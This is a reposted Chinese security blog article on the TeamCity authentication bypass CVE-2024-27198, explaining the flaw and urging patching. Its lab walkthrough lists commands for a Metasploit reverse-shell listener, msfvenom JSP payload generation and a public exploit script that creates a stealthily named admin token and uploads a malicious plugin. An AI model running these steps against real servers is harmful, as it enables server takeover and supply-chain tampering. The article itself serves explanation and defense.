TeamCity 身份验证绕过漏洞 - CVE-2024-27198

admin 2024年3月11日13:18:30评论18 views字数 2154阅读7分10秒阅读模式

TeamCity 身份验证绕过漏洞 - CVE-2024-27198

TeamCity 身份验证绕过漏洞 - CVE-2024-27198

介绍

CVE-2024-27198是一个严重的安全漏洞,CVSSv3 评分为 9.8,表明其严重性。该漏洞存在于 JetBrains TeamCity 的 Web 组件中,是由备用路径问题引起的,可利用该漏洞绕过身份验证机制。

重要提示⚠️

如果您受到此漏洞的影响,请不要延迟并立即修补您的实例。有关修补的更多信息,请访问JetBrains 博客

详细的漏洞分析

该漏洞源于TeamCity 库BaseController中的类的弱点。web-openapi.jar当 API 端点收到附加了 的请求时.jsp,该类BaseController会错误地允许该请求绕过标准身份验证过程。攻击者可利用此缺陷获得对 TeamCity 服务器的未经授权的管理访问权限。

替代路径问题

当软件提供了到达应受身份验证保护的目标的非预期路由时,就会出现备用路径问题。对于 CVE-2024-27198,备用路径允许攻击者操纵 URL 直接访问经过身份验证的端点,绕过登录机制并获得对服务器的完全控制。

对 TeamCity 的影响

利用 CVE-2024-27198,攻击者可以完全控制所有 TeamCity 项目、构建、代理和工件。这种级别的访问不仅损害服务器的完整性,而且还为更广泛的供应链攻击打开了大门,攻击者可以在软件构建中插入恶意代码。

在 Kali Linux 上设置并执行漏洞利用

为了演示这一漏洞,可以在 Kali Linux 上使用 Docker 设置一个易受攻击的 TeamCity 环境:

# Pull a vulnerable TeamCity Server docker image (version: 2023.11.3)docker pull jetbrains/teamcity-server:2023.11.3# Run the docker containerdocker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

导航到http://localhost:8111并完成设置步骤以完成服务器设置。

准备侦听器

在单独的终端窗口中打开一个侦听器:

# Open a listener in metasploit msfconsole -q -x "use multi/handler; set payload java/jsp_shell_reverse_tcp; set lhost eth0; set lport 8088; exploit"

执行!执行!执行!💥

服务器和侦听器运行后,可以使用提供的 Python 脚本执行漏洞利用。

让我们现实地考虑一下这个问题。该漏洞允许我们绕过身份验证并通过可用的 JSP 执行功能。考虑到这一点,让我们从隐形交战的角度来解决这个问题。我们应该首先列出服务器上的用户,获取我们感兴趣的用户ID(最好是管理员),然后为管理员创建一个具有真实名称的令牌(例如cicdconnector)。

| 可以安全地假设管理员用户可能存在,userid=1但最好进行检查。

那么我们现在就开始吧!在终端中运行以下命令:

# Clone the exploit repositorygit clone https://github.com/NetPenguins/CVE-2024-27198-RCEcd CVE-2024-27198-RCE# Create a jsp shell, I like to use https://www.revshells.com to do basic and quick executions like this. msfvenom -p java/jsp_shell_reverse_tcp LHOST=eth0 LPORT=8088 -f raw -o shell.jsp# Execute the exploit script gathering all userspython CVE-2024-27198-RCE.py -t http://localhost:8111 -g# User the userid you found to complete the exploit into RCEpython CVE-2024-27198-RCE.py -t http://localhost:8111 -i 1 -f shell.jsp -e -n cicdconnection

该脚本将创建一个cicdconnection使用我们传入的用户 ID 命名的新访问令牌。然后它将.zip使用shell.jsp我们之前生成的创建一个插件并上传+激活该插件。最后,它将使用用户的令牌启动恶意 JSP,打开与已建立的侦听器的连接。通过这种方式,我们能够利用已经存在的用户并生成一个访问令牌,该令牌看起来像该用户可能生成的合理令牌。此时唯一突出的事情(不包括我们可能在网络上产生的噪音)是在 TeamCity 服务器内添加了一个外部插件。

结论

CVE-2024-27198 是一个严重漏洞,需要 TeamCity On-Premises 安装的管理员立即关注。该漏洞核心的替代路径问题凸显了软件开发中彻底安全实践的重要性以及定期更新和补丁的必要性。如果您受到此漏洞的影响,请立即立即修补您的实例JetBrains 博客。(可点击 - 阅读原文)

原文始发于微信公众号(Ots安全):TeamCity 身份验证绕过漏洞 - CVE-2024-27198

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月11日13:18:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TeamCity 身份验证绕过漏洞 - CVE-2024-27198http://cn-sec.com/archives/2566065.html

发表评论

匿名网友 填写信息